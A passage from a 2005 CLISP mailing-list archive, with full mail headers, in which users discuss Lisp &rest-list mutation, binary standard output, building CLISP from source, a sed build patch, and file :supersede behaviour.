((s (list " "))) > (rplacd s (cdr l)) > (rplacd l s))))) > (dilute args))) > > CL-USER> (dilute-blanks 1 2 3 4 5 6) > (1 " " 2 " " 3 " " 4 " " 5 " " 6) > > There are no "reefs"? : The value of a rest parameter is permitted, but not required, to share structure with the last argument to apply. this means that (apply #'dilute-blanks '(1 2 3)) _may_ modify the quoted constant in some implementations. if you are lucky, this will result in an error. if you are not, you will something weird, like . in short: do NOT modify the structure of the &rest argument. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are two ways to write error-free programs; only the third one works. From sds@gnu.org Thu Jul 14 07:14:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt4UF-0005C9-4n for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 07:14:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Dt4UB-0005nS-LX for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 07:14:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6EEEHvP007598; Thu, 14 Jul 2005 10:14:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507141307.j6ED7QtA023606@grant.org> (Devon Sean McCullough's message of "Thu, 14 Jul 2005 09:07:26 -0400 (EDT)") References: <200507141307.j6ED7QtA023606@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.5 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: binary standard output from unix script Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 07:17:30 2005 X-Original-Date: Thu, 14 Jul 2005 10:13:17 -0400 > * Devon Sean McCullough [2005-07-14 09:07:26 -0400]: > > Can CLISP do what BASH does? > > $ for x in t?.????; do echo ----------------$x----------------; cat $x; ./$x | od -c; done > ----------------t1.bash---------------- > #!/usr/local/bin/bash > echo -en "\200" > 0000000 200 > 0000001 > *** - Character #\u0080 cannot be represented in the character set CHARSET:ASCII -- Sam Steingold (http://www.podval.org/~sds) running w2k A year spent in artificial intelligence is enough to make one believe in God. From Devon@Jovi.Net Thu Jul 14 08:27:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt5cn-0000lW-EX for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 08:27:45 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx2.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dt5ck-0000vu-VF for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 08:27:45 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6EFRGQ6018798 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Jul 2005 11:27:16 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6EFRDWZ018513; Thu, 14 Jul 2005 11:27:14 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507141527.j6EFRDWZ018513@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Thu, 14 Jul 2005 10:13:17 -0400) References: <200507141307.j6ED7QtA023606@grant.org> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Thu, 14 Jul 2005 11:27:29 -0400 (EDT) X-Spam-Score: -1.6 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: binary standard output from unix script Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 08:29:10 2005 X-Original-Date: Thu, 14 Jul 2005 11:27:14 -0400 (EDT) *STANDARD-OUTPUT* should go to the pipe. *TERMINAL-IO* should go to the user. To conflate the two may fall in unspecified gray areas but tastes like a bug. Peace --Devon PS: Thanks for the fix but this machine lacks EXT:MAKE-STREAM so I must install my own personal CLISP version using the diabolical Debian package abomination. Wish me luck and send incantations if you know 'em, please! From: Sam Steingold Date: Thu, 14 Jul 2005 10:13:17 -0400 > * Devon Sean McCullough [2005-07-14 09:07:26 -0400]: > > Can CLISP do what BASH does? > > $ for x in t?.????; do echo ----------------$x----------------; cat $x; ./$x | od -c; done > ----------------t1.bash---------------- > #!/usr/local/bin/bash > echo -en "\200" > 0000000 200 > 0000001 > *** - Character #\u0080 cannot be represented in the character set CHARSET:ASCII From sds@gnu.org Thu Jul 14 08:45:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt5u3-0001Y8-7i for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 08:45:35 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Dt5tz-0008J5-MJ for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 08:45:35 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6EFjAJp021541; Thu, 14 Jul 2005 11:45:11 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507141527.j6EFRDWZ018513@grant.org> (Devon Sean McCullough's message of "Thu, 14 Jul 2005 11:27:14 -0400 (EDT)") References: <200507141307.j6ED7QtA023606@grant.org> <200507141527.j6EFRDWZ018513@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.5 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: binary standard output from unix script Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 08:49:16 2005 X-Original-Date: Thu, 14 Jul 2005 11:44:09 -0400 > * Devon Sean McCullough [2005-07-14 11:27:14 -0400]: > > *STANDARD-OUTPUT* should go to the pipe. > *TERMINAL-IO* should go to the user. > To conflate the two may fall > in unspecified gray areas > but tastes like a bug. indeed, please see clisp/src/TODO and help. > PS: Thanks for the fix but this machine lacks EXT:MAKE-STREAM what is your clisp version? > so I must install my own personal CLISP version $ wget http://prdownloads.sourceforge.net/clisp/clisp-2.33.2.tar.bz2?download $ tar xfj clisp-2.33.2.tar.bz2 $ cd clisp-2.33.2 alternatively $ cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login $ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co -P clisp $ cd clisp then: $ ./configure --build build --fsstnd=debian --with-module=... --with-module=... ... $ cd build $ sudo make install > using the diabolical Debian package abomination. I think you are confusing Debian GNU/Linux with *BSD. > Wish me luck and good luck! > send incantations if you know 'em, please! "apt-get install clisp-2.33.2" -- Sam Steingold (http://www.podval.org/~sds) running w2k Experience always comes right after it would have been useful. From Devon@Jovi.Net Thu Jul 14 09:36:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt6hJ-0004Bb-BN for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 09:36:29 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx1.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dt6hH-0001rl-HK for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 09:36:29 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6EGa1Bf029434 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Jul 2005 12:36:04 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6EGZvTJ029428; Thu, 14 Jul 2005 12:35:57 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507141635.j6EGZvTJ029428@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Thu, 14 Jul 2005 11:44:09 -0400) References: <200507141307.j6ED7QtA023606@grant.org> <200507141527.j6EFRDWZ018513@grant.org> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Thu, 14 Jul 2005 12:36:14 -0400 (EDT) X-Spam-Score: -1.9 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.9 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: binary standard output from unix script Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 09:39:12 2005 X-Original-Date: Thu, 14 Jul 2005 12:35:57 -0400 (EDT) Glad to look around and see what I can fix, only fair after all your help. Thanks again. Peace --Devon PS: apt-get seems unhelpful on shared machines I cannot control $ cat /etc/debian_version 3.0 $ apt-get install clisp-2.33.2 E: Could not open lock file /var/lib/dpkg/lock - open (13 Permission denied) E: Unable to lock the administration directory (/var/lib/dpkg/), are you root? Both CLISP 2.27 and 2.30 report no symbol EXT:MAKE-STREAM so the saga marches on to plan B ... C ... D ... From: Sam Steingold Date: Thu, 14 Jul 2005 11:44:09 -0400 > * Devon Sean McCullough [2005-07-14 11:27:14 -0400]: > > *STANDARD-OUTPUT* should go to the pipe. > *TERMINAL-IO* should go to the user. > To conflate the two may fall > in unspecified gray areas > but tastes like a bug. indeed, please see clisp/src/TODO and help. > PS: Thanks for the fix but this machine lacks EXT:MAKE-STREAM what is your clisp version? > so I must install my own personal CLISP version $ wget http://prdownloads.sourceforge.net/clisp/clisp-2.33.2.tar.bz2?download $ tar xfj clisp-2.33.2.tar.bz2 $ cd clisp-2.33.2 alternatively $ cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login $ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co -P clisp $ cd clisp then: $ ./configure --build build --fsstnd=debian --with-module=... --with-module=... ... $ cd build $ sudo make install > using the diabolical Debian package abomination. I think you are confusing Debian GNU/Linux with *BSD. > Wish me luck and good luck! > send incantations if you know 'em, please! "apt-get install clisp-2.33.2" -- Sam Steingold (http://www.podval.org/~sds) running w2k Experience always comes right after it would have been useful. From sds@gnu.org Fri Jul 15 07:46:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DtRS2-0006MX-NY for clisp-list@lists.sourceforge.net; Fri, 15 Jul 2005 07:46:06 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DtRRz-0000ah-5R for clisp-list@lists.sourceforge.net; Fri, 15 Jul 2005 07:46:06 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6FEj4CE013648; Fri, 15 Jul 2005 10:45:05 -0400 (EDT) To: Devon Sean McCullough Cc: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507150802.j6F8249S027353@grant.org> (Devon Sean McCullough's message of "Fri, 15 Jul 2005 04:02:04 -0400 (EDT)") References: <200507150802.j6F8249S027353@grant.org> Mail-Followup-To: Devon Sean McCullough , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.5 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: sed bug on macosx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 15 07:48:41 2005 X-Original-Date: Fri, 15 Jul 2005 10:44:03 -0400 > * Devon Sean McCullough [2005-07-15 04:02:04 -0400]: > > Module doc seems sketchy what information is missing? > so I randomly guessed what modules might exist I just added top level ./configure --list-modules > $ ./configure --build build-clisp-macos-10.4-darwin-8.2.0-try-2 > --with-module=ext --with-module=sock no such modules > --with-module=fastcgi --with-module=pcre --with-module=rawsock > --with-module=wildcard ok > --with-module=regexp --with-module=syscalls these are base modules, they are included by default even in the base linking set. > $ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp diff -u . > ... > Index: src/makemake.in > =================================================================== > RCS file: /cvsroot/clisp/clisp/src/makemake.in,v > retrieving revision 1.578 > diff -u -r1.578 makemake.in > --- src/makemake.in 13 Jul 2005 19:40:11 -0000 1.578 > +++ src/makemake.in 15 Jul 2005 07:54:03 -0000 > @@ -2508,7 +2508,7 @@ > > for f in lispbibl; do > echol "gen.${f}.c : ${f}.d comment5${HEXE}" > - echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/n;ta;:a;s/^%% //;tb;s/^.*\$\$//;:b' > gen.${f}.c" > + echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/n;s/^%% //;t' -e 's/^.*\$\$//' > gen.${f}.c" > echol > done I committed this patch. Thanks. users of non-GNU systems -- please test! PS. let us keep the discussion on the list . -- Sam Steingold (http://www.podval.org/~sds) running w2k NY survival guide: when crossing a street, mind cars, not streetlights. From sds@gnu.org Fri Jul 15 07:52:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DtRYP-0006j1-VS for clisp-list@lists.sourceforge.net; Fri, 15 Jul 2005 07:52:41 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DtRYO-000223-LG for clisp-list@lists.sourceforge.net; Fri, 15 Jul 2005 07:52:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6FEqPLa014659; Fri, 15 Jul 2005 10:52:26 -0400 (EDT) To: Devon Sean McCullough Cc: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507151021.j6FALgba052044@grant.org> (Devon Sean McCullough's message of "Fri, 15 Jul 2005 06:21:42 -0400 (EDT)") References: <200507151021.j6FALgba052044@grant.org> Mail-Followup-To: Devon Sean McCullough , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: gclload1.lsp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 15 07:54:33 2005 X-Original-Date: Fri, 15 Jul 2005 10:51:24 -0400 > * Devon Sean McCullough [2005-07-15 06:21:42 -0400]: > > PS: Does .d stand for "deranged" or "delete the source file" > or "deter anyone else from looking at my code" or what? #\d = (code-char (incf (char-code #\c))) > Is such gratuitously obscured code really necessary? yes. see the pre-processing done on the D code: 1. "# " comments converted to the normal C comments /**/ this is not really necessary and actually very inconvenient to everyone except for Bruno, but this is the way it has been for 15 years. many files are now fully converted to the normal C comments. 2. {} are inserted to allow variable declarations mixed with code (C++/Java style). 3. gctrigger statements are inserted to allow for run-time GC-safety checks. see > Got an emacs mode with color font-lock for that? clisp/emacs/d-mode.el > RUN-ALL-TESTS: grand total: 0 errors out of 9,906 tests good. > mkdir ansi-tests > cd ansi-tests && ln -s ../../ansi-tests/Makefile . > cd ansi-tests && ln -s ../../ansi-tests/*.lsp . > cd ansi-tests && ln -s ../../utils/clispload.lsp . > cd ansi-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 30000KW -ansi -i clispload.lsp -x '(in-package "CL-TEST") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log > ;; Loading file clispload.lsp ... > *** - LOAD: A file with name gclload1.lsp does not exist at top-level: make -f Makefile.devel update-ansi-tests -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From Devon@Jovi.Net Sat Jul 16 09:01:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dtp6p-0002dp-6R for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 09:01:47 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx2.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dtp6d-0004iB-ML for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 09:01:47 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6GG1FkY085047 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Jul 2005 12:01:16 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6GG1FZi085044; Sat, 16 Jul 2005 12:01:15 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507161601.j6GG1FZi085044@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Fri, 15 Jul 2005 10:51:24 -0400) X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Sat, 16 Jul 2005 12:01:21 -0400 (EDT) X-Spam-Score: -2.1 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.8 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] EOFP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 16 09:02:56 2005 X-Original-Date: Sat, 16 Jul 2005 12:01:15 -0400 (EDT) Can CLISP test input streams for EOF, for any and all such streams? OK to hang waiting for more input but not OK to consume input. I suppose I could try PEEK-CHAR for character streams, catch the error if the peek sees an illegal char, catch the error if the stream is binary and use instead EXT:READ-BYTE-LOOKAHEAD in a polling loop with a brief SLEEP as it never hangs. Best to ask before resorting to such hackery, perhaps it's right there in the manual but not according to Google. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From pjb@informatimago.com Sat Jul 16 11:53:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dtrmk-0003lT-0h for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 11:53:14 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Dtrmh-0002X8-Eb for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 11:53:14 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C5F7B5833D; Sat, 16 Jul 2005 20:52:55 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5712D582FA; Sat, 16 Jul 2005 20:52:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3334310FBF3; Sat, 16 Jul 2005 20:52:51 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050716185251.3334310FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] how to supersede a file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 16 11:58:32 2005 X-Original-Date: Sat, 16 Jul 2005 20:52:51 +0200 (CEST) The parameter :supersede and :rename-and-delete don't seem to have the specified effect (no new file is created): [83]> (defun get-filename-identifier (Filename) "Given a filename, return (cons dev inode) associated with that filename." (when (probe-file filename) (cons (POSIX:file-stat-dev (POSIX:file-stat filename)) (POSIX:file-stat-ino (POSIX:file-stat filename))))) GET-FILENAME-IDENTIFIER [84]> (let ((testfile "testfile")) (flet ((test (if-exist) (sleep 1) (with-open-file (output-stream testfile :direction :output :if-exists if-exist :if-does-not-exist :create) (format output-stream "random line ~A~%" (random 1000))) (ext:shell "ls -li testfile") (prog1 (prin1 (get-filename-identifier testfile)) (terpri)))) (test :overwrite) (test :rename-and-delete) (test :supersede)) (values)) 1148057 -rw-r--r-- 1 pjb pjb 20 2005-07-16 20:48 testfile (774 . 1148057) 1148057 -rw-r--r-- 1 pjb pjb 15 2005-07-16 20:48 testfile (774 . 1148057) 1148057 -rw-r--r-- 1 pjb pjb 16 2005-07-16 20:48 testfile (774 . 1148057) -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From pjb@informatimago.com Sat Jul 16 12:51:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DtshR-00069i-Ph for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 12:51:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DtshN-0003pQ-F9 for clisp-list@lists.sourceforge.net; Sat, 16 Jul 2005 12:51:50 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4B5E35833D; Sat, 16 Jul 2005 21:51:32 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E14A2582FA; Sat, 16 Jul 2005 21:51:22 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 37C0F10FBF3; Sat, 16 Jul 2005 21:51:21 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17113.25912.993555.142231@thalassa.informatimago.com> To: Devon Sean McCullough Cc: clisp-list@lists.sourceforge.net Subject: Re: 